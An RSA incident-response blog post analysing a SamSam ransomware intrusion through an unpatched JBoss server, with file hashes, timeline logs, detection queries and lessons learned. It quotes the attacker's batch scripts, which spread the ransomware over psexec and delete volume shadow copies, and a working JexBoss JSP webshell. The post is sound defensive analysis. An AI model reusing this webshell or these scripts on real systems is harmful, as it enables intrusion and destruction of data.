Christopher Ahearn

Held for Ransom: A case study of a recent ransomware attack

Blog Post created by Christopher Ahearn Employee on Apr 18, 2016


  Chris Ahearn

  Mark Stacey



There has been a lot of attention around ransomware attacks in the past few weeks and months.  Prior to the current outbreak, ransomware attacks were largely the result of phishing emails or unfortunate web browser redirection that would impact a single or small number of systems at a time.  Last fall we witnessed a shift in tactics and over the past few months we’ve observed a surge in large scale ransomware attacks.  The RSA Incident Response team has responded to several of these incidents at client sites.   In this post, we will discuss one of those incidents in-depth.



The client initially stated that they believed this was a mass malware infection affecting a majority of the systems on their network.  As an analyst, this was something that had not been observed in a long time.  Students of history will recall mass malware infections were once a hot topic with various worms such as Blaster, Conficker, ILoveYou, and many others.  When the information came in about a mass infection of ransomware, our team was skeptical but interested in investigating the incident.


As part of our initial call with the client they provided a sample that they believed was responsible for the outbreak.


File Name       : samsam.exe

File Size       : 218,624 bytes

MD5             : a14ea969014b1145382ffcd508d10156

SHA1            : ff6aa732320d21697024994944cf66f7c553c9cd

Fuzzy           : 3072:ZVdp01i6vcHV1LI5FLV0pZeZKfOJizjrBnNtRg+ur199J+n9fCbP:Za1i6UHVyLV0poZa1jrD099on9

Import Hash     : f34d5f2d4577ed6d9ceec516c1f5a744

Compiled Time   : Wed Jan 06 00:14:43 2016 UTC

VirusTotal      : 10/50 (1/14/2016)

PE Sections (3) : Name       Size       MD5

                  .text      216,064    7a556f246357051b2d82ea445571ddbb

                  .rsrc      1,536      d0b581056989efaa1de31a61a8f4a9ec

                  .reloc     512        06441ad348b483e2458a535949e809cf


The sample, which is commonly referred to as SamSam, was a C# .Net binary.  Compiled into the SamSam binary were two additional files del.exe and selfdel.exe.  The file del.exe, is a signed copy of the legitimate Microsoft Sysinternals Sdelete (version 1.61).  The file selfdel.exe is responsible for deleting samsam.exe using del.exe.


File Name       : del.exe

File Size       : 155,736 bytes

MD5             : e189b5ce11618bb7880e9b09d53a588f

SHA1            : 964f7144780aff59d48da184daa56b1704a86968

Import Hash     : d7caa1d72871c092dd85c4a3c5aa93bf

Compiled Time   : Sat Jan 14 23:06:53 2012 UTC

PE Sections (4) : Name       Size       MD5

  .text      116,736    a2f62fcb0a5724091981ffd869f858b4

  .rdata     25,600     b4404e299743806866081071f9194ab6

  .data      4,096      9b5b9643241417a53ebb221a1dda65f9

  .rsrc      1,536      601b278c419aa6bd7794cc85ced85721





File Name : selfdel.exe

File Size : 5,632 bytes

MD5 : 710a45e007502b8f42a27ee05dcd2fba

SHA1 : 5e70502689f6bf87eb367354268923e6a7e875c6

Import Hash : f34d5f2d4577ed6d9ceec516c1f5a744

Compiled Time : Wed Dec 02 22:24:42 2015 UTC

PE Sections (3) : Name       Size       MD5

  .text      3,072      90d77179cca96fa39f5d76f6994dc6a2

  .rsrc      1,536      e92524d72197e7683a442abe4f4581bc

  .reloc     512        caa5e20676622236360e8a65188380a6



Our analysis of the SamSam binary quickly revealed that the sample would detect local and mapped drives, enumerating the files present on the files system and targeting over 300 different file extensions (while excluding some specific directories) that would ultimately be encrypted.  The files had an extension of *.encryptedRSA.  This SamSam binary also expected, as a runtime argument, the path to a public encryption key which would be used in the attack against the system.  The image below shows part of the code of samsam looking for the public key.


The fact that this SamSam binary required arguments, indicated to RSA analysts that this file was either dropped and executed by another binary or script, potentially involving human interaction.  The analysis of the SamSam binary further documented the process by which files were encrypted and deleted, which is described below.  Once RSA analysts arrived on the client site, we quickly triaged several systems that had been compromised.  Analysts discovered that the SamSam binary was deployed throughout the network with the use of psexec and compromised domain administrator credentials.  Event logs indicated that the source of the malicious activity came from one of the organizations web servers.  Further investigation of this webserver revealed that the adversary had exploited an older vulnerability in the JBoss web application.  Using Log2Timeline, RSA analysts built system timelines from multiple systems, ultimately leading to the discovery of additional artifacts.


The image above depicts entries showing how the attacker had uploaded a zip file (, which contained their tools, to the vulnerable webserver.




The contents of the are displayed in the image above.  The list.txt file contained a list of computer names on the victim’s network, which would be used in conjunction with the other scripts to target systems. This indicates that prior reconnaissance, inside the network, was performed by the attacker. The contained all the public encryption keys the attacker was going to use, 1 per system.  Ps.exe was a copy of the legitimate SysInternals tool psexec.  The file f.bat was responsible for coping SamSam (samsam.exe) and the corresponding system encryption key to each target.  The file f.bat would also delete any volume shadow copies recovery or backup efforts.  The image below depicts the contents of f.bat.


@echo off

for /f "delims=" %%a in (list.txt) do copy samsam.exe \\%%a\C$\windows\system32 && copy %%a_PublicKey.xml \\%%a\C$\windows\system32 && vssadmin delete shadows /all /quiet




The file reg.bat, shown below, was then responsible for executing SamSam, using Psexec, with the path to the public key as an argument.



@echo off

for /f "delims=" %%a in (list.txt) do ps -s \\%%a cmd.exe /c start /b C:\windows\system32\samsam.exe %%a_PublicKey.xml




A search for any artifacts related to the above files was conducted and a hit for list.txt, was located on the previously referenced JBOSS web application server.  Some quick analysis indicated that this was an older version of JBOSS (jboss 5.0.1-GA was released in Feb 2009).



01/11/2016,18:12:28,EST5EDT,MACB,EVTX,Security,Event Logged,-,,Event ID Security/Microsoft-Windows-Security-Auditing:4634,Security/Microsoft-Windows-Security-Auditin

g ID [4634] :EventData/Data -> TargetUserSid = S-1-5-21-1844237615-1757981266-725345543-20282 TargetUserName = ABCDC2K8$ TargetDomainName = ambuscon TargetLogonId = 0x000000033336a41a L

ogonType = 3 ,2,Security.evtx,46657,Description of EventIDs can be found here:;EN-US;947226 URL:


01/11/2016,18:12:46,EST5EDT,M.C.,FILE,NTFS $MFT,$SI [M.C.] time,-,-,/jboss-5.0.1.GA/server/cm/deploy/management/invokermngrt.war/list.txt,/jboss-5.0.1.GA/server/cm/deploy/management/invokermngrt.war/list.txt,2,/jboss-5.0.1.GA/server/cm/deploy/management/invokermngrt.war/list.txt,446341, ,Log2t::input::mft,-

01/11/2016,18:12:55,EST5EDT,.A.B,FILE,NTFS $MFT,$SI [.A.B] time,-,-,/jboss-5.0.1.GA/server/cm/deploy/management/invokermngrt.war/ok.txt,/jboss-5.0.1.GA/server/cm/deploy/management/invokermngrt.war/ok.txt,2,/jboss-5.0.1.GA/server/cm/deploy/management/invokermngrt.war/ok.txt,445865, ,Log2t::input::mft,-



Further analysis of the JBOSS server directory, where list.txt was discovered, revealed numerous other artifacts including a webshell, batch files, and reGeorg (, which is a tool used for TCP tunneling through a SOCKS proxy.  The dates and times associated with these files, displayed below, confirmed what we had suspected, that this incident began earlier than the client initially thought. 




Some of the newly discovered dates of interest go back at least a month prior to the start of this incident.  The file 'css.jsp' appears to be a variant of a JSP File Manager providing the attacker with the ability to upload and download various files or tools as well as issue commands.


An example of what the css.jsp would have looked like to the attack is displayed below.  The inset box shows the password that was required to access it.  Once authenticated the attacker would be presented with the file manager interface, depicted in the next image.


The legal disclaimer for tunnel.jsp (reGeorg), is displayed below.  This tool is designed to proxy or tunnel traffic over existing and allowed ports or protocols.



One other tool uploaded by the attacker (and listed above) was the Microsoft tools csvde.exe, which is a legitimate tool used to extract Active Directory LDAP information and save it to a CSV file.  Using this tool, the attacker pulled back all the possible systems in the domain and saved them as 'com.csv'.  Once the reGeorg (tunnel.jsp) SOCKS tunnel was in place and allowing remote connectivity, the attacker then utilized RDP connections into the customer environment.  A few weeks later, the day of the encryption portion of the attack, the attacker uploaded some scripts to determine what systems (from list.txt) were currently online.  The online systems names were then output to a file, which was then used to deploy the SamSam (and related files) to the targeted systems.

Seeing the loopback IP address ( in an event log detailing RDP sessions, which is typically not allowed on Windows systems, can be an indicator of a tool like the reGeorg SOCKS proxy.  The following log decoder app rule can be used with SA for logs to detect such activity:


"device.type='winevent_nic','winevent_snare' && logon.type='10' && ip.src exists && ip.src="


There was also additional evidence of JBOSS exploitation using JexBoss, a JBOSS verify and exploitation tool.  While investigating the invokermngrt.war directory RSA analysts also noticed a jbossass.war directory as well.




The jbossass.war contained one file called jbossass.jsp.  This file was another webshell as a result of the JexBoss exploitation.



<%@ page import="java.util.*,*"%><pre><% if (request.getParameter("ppp") != null && request.getHeader("user-agent").equals("jexboss")) { Process p = Runtime.getRuntime().exec(request.getParameter("ppp")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } }%>


This webshell would provide a shell into the compromised web server.  Traffic in Security Analytics may look something like this:




Using the Security Analytics IR Content Pack, analysts could find this type of activity by investigating:

• direction = ‘inbound’

• action = ‘post’

• ir.general = ‘http_post_no_get’

• ir.general = ‘six_or_less_headers’

• ir.general = ‘post_no_get_no_referer’

• ir.general = ‘http_no_ua’



If you are running JBOSS, it is recommended that you monitor those systems closely in light of the recent wave of attacks.  Queries such as “directory = ‘/invoker/’ && filename = ‘jmxinvokerservlet’ ”can also help focus the analysis.







The client’s original remediation plan was to restore backups (from a couple of days before the attack began) of the affected systems.  This would have left the organization vulnerable to this attacker and others, potentially resulting in this same scenario occurring again at a later date.  By properly scoping and investigating the incident, it was determined that the attacker had gone undetected for over a month.  The attacker had initially targeted vulnerable applications (JBOSS) and then established a beachhead to perform some reconnaissance and upload tools.  This allowed the attacker to harvest privileged credentials.  With compromised domain administrator credentials, the attacker was able to map out the network, and then come back at a later date to complete the attack.


RSA continued researching the malware utilized in this attack, and determined that this client was not the only target in this campaign.  This research uncovered 7 additional “C2” sites and bitcoin addresses, both used to facilitate paying the ransom.   Analysis of bitcoin address transactions indicated that there were several other potential victims.  After monitoring the bitcoin transactions for several weeks, there appeared to be approximately $350,000 in bitcoins in an account (numerous transactions from different accounts were followed), before the trail went cold. This illustrates how profitable this type of attack can be for attackers and how costly it can be for organizations.


There were several lessons learned from this engagement.

  • Identifying where domain admin credentials are used, how many have access and what they are logged into is essential.  These accounts wind up being the crown jewels to an adversary.
  • Keeping web application servers, as well as any externally facing application up to date.  While this, as well as some recent variants of the attack were targeting JBOSS, other applications could also fall victim given enough time and effort spent on exploitation.
  • Maintain external and offline backups.
  • Actively monitor the network and the users.  Security Analytics and ECAT can certainly help in those respects.